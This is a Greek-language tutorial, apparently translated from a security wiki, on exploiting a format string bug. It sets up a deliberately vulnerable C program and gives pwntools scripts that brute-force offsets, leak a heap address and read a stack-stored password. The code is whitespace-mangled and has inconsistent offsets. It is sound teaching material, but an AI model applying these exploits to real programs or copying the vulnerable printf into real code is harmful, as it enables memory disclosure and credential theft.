from pwn import*p =process('./fs-read')payload = f"%11$s|||||".encode()payload +=p64(0x00400000)p.sendline(payload)log.info(p.clean())
Το offset είναι 11 επειδή με την ρύθμιση πολλών Α και brute-forcing με έναν βρόγχο που μετακινείται από 0 έως 50, διαπιστώθηκε ότι στο offset 11 και με 5 επιπλέον χαρακτήρες (στην περίπτωσή μας pipes |), είναι δυνατόν να ελεγχθεί μια πλήρης διεύθυνση.
Χρησιμοποίησα το %11$p με επιπλέον γέμισμα μέχρι να δω ότι η διεύθυνση ήταν όλα 0x4141414141414141
Το φορτωμένο string μορφοποίησης είναι ΠΡΙΝ τη διεύθυνση επειδή το printf σταματάει την ανάγνωση σε ένα μηδενικό byte, οπότε αν στείλουμε πρώτα τη διεύθυνση και μετά το string μορφοποίησης, το printf δεν θα φτάσει ποτέ το string μορφοποίησης καθώς θα βρει ένα μηδενικό byte πριν από αυτό.
Η επιλεγμένη διεύθυνση είναι το 0x00400000 επειδή εκεί ξεκινάει το δυαδικό (χωρίς PIE)
#include<stdio.h>#include<string.h>char bss_password[20] ="hardcodedPassBSS"; // Password in BSSintmain() {char stack_password[20] ="secretStackPass"; // Password in stackchar input1[20], input2[20];printf("Enter first password: ");scanf("%19s", input1);printf("Enter second password: ");scanf("%19s", input2);// Vulnerable printfprintf(input1);printf("\n");// Check both passwordsif (strcmp(input1, stack_password)==0&&strcmp(input2, bss_password)==0) {printf("Access Granted.\n");} else {printf("Access Denied.\n");}return0;}
Μεταγλωττίστε το με:
clang-ofs-readfs-read.c-Wno-format-security
Διάβασμα από τη στοίβα
Ο stack_password θα αποθηκευτεί στη στοίβα επειδή είναι μια τοπική μεταβλητή, οπότε απλά καταχρώντας το printf για να εμφανίσει το περιεχόμενο της στοίβας είναι αρκετό. Αυτό είναι ένα εκμεταλλευτικό πρόγραμμα για να διαβρεί τις πρώτες 100 θέσεις για να διαρρεύσει τους κωδικούς πρόσβασης από τη στοίβα:
from pwn import*for i inrange(100):print(f"Try: {i}")payload = f"%{i}$s\na".encode()p =process("./fs-read")p.sendline(payload)output = p.clean()print(output)p.close()
Στην εικόνα είναι δυνατόν να δούμε ότι μπορούμε να διαρρεύσουμε τον κωδικό πρόσβασης από τη στοίβα στη θέση 10η:
Διαβάστε δεδομένα
Εκτελώντας το ίδιο εκμεταλλευτικό πρόγραμμα αλλά με %p αντί για %s είναι δυνατόν να διαρρεύσουμε μια διεύθυνση σωρού από τη στοίβα στο %25$p. Επιπλέον, συγκρίνοντας τη διαρρευσμένη διεύθυνση (0xaaaab7030894) με τη θέση του κωδικού πρόσβασης στη μνήμη σε αυτήν τη διεργασία μπορούμε να λάβουμε τη διαφορά των διευθύνσεων:
Τώρα είναι η στιγμή να βρούμε πώς να ελέγξουμε μια διεύθυνση στη στοίβα για να έχουμε πρόσβαση από τη δεύτερη ευπάθεια της δεύτερης συμβολοσειράς μορφοποίησης:
from pwn import*defleak_heap(p):p.sendlineafter(b"first password:", b"%5$p")p.recvline()response = p.recvline().strip()[2:] #Remove new line and "0x" prefixreturnint(response, 16)for i inrange(30):p =process("./fs-read")heap_leak_addr =leak_heap(p)print(f"Leaked heap: {hex(heap_leak_addr)}")password_addr = heap_leak_addr -0x126aprint(f"Try: {i}")payload = f"%{i}$p|||".encode()payload += b"AAAAAAAA"p.sendline(payload)output = p.clean()print(output.decode("utf-8"))p.close()
Και είναι δυνατόν να δούμε ότι στο try 14 με τη χρήση του passing μπορούμε να ελέγξουμε μια διεύθυνση:
Εκμετάλλευση
from pwn import*p =process("./fs-read")defleak_heap(p):# At offset 25 there is a heap leakp.sendlineafter(b"first password:", b"%25$p")p.recvline()response = p.recvline().strip()[2:] #Remove new line and "0x" prefixreturnint(response, 16)heap_leak_addr =leak_heap(p)print(f"Leaked heap: {hex(heap_leak_addr)}")# Offset calculated from the leaked position to the possition of the pass in memorypassword_addr = heap_leak_addr +0x1f7bcprint(f"Calculated address is: {hex(password_addr)}")# At offset 14 we can control the addres, so use %s to read the string from that addresspayload = f"%14$s|||".encode()payload +=p64(password_addr)p.sendline(payload)output = p.clean()print(output)p.close()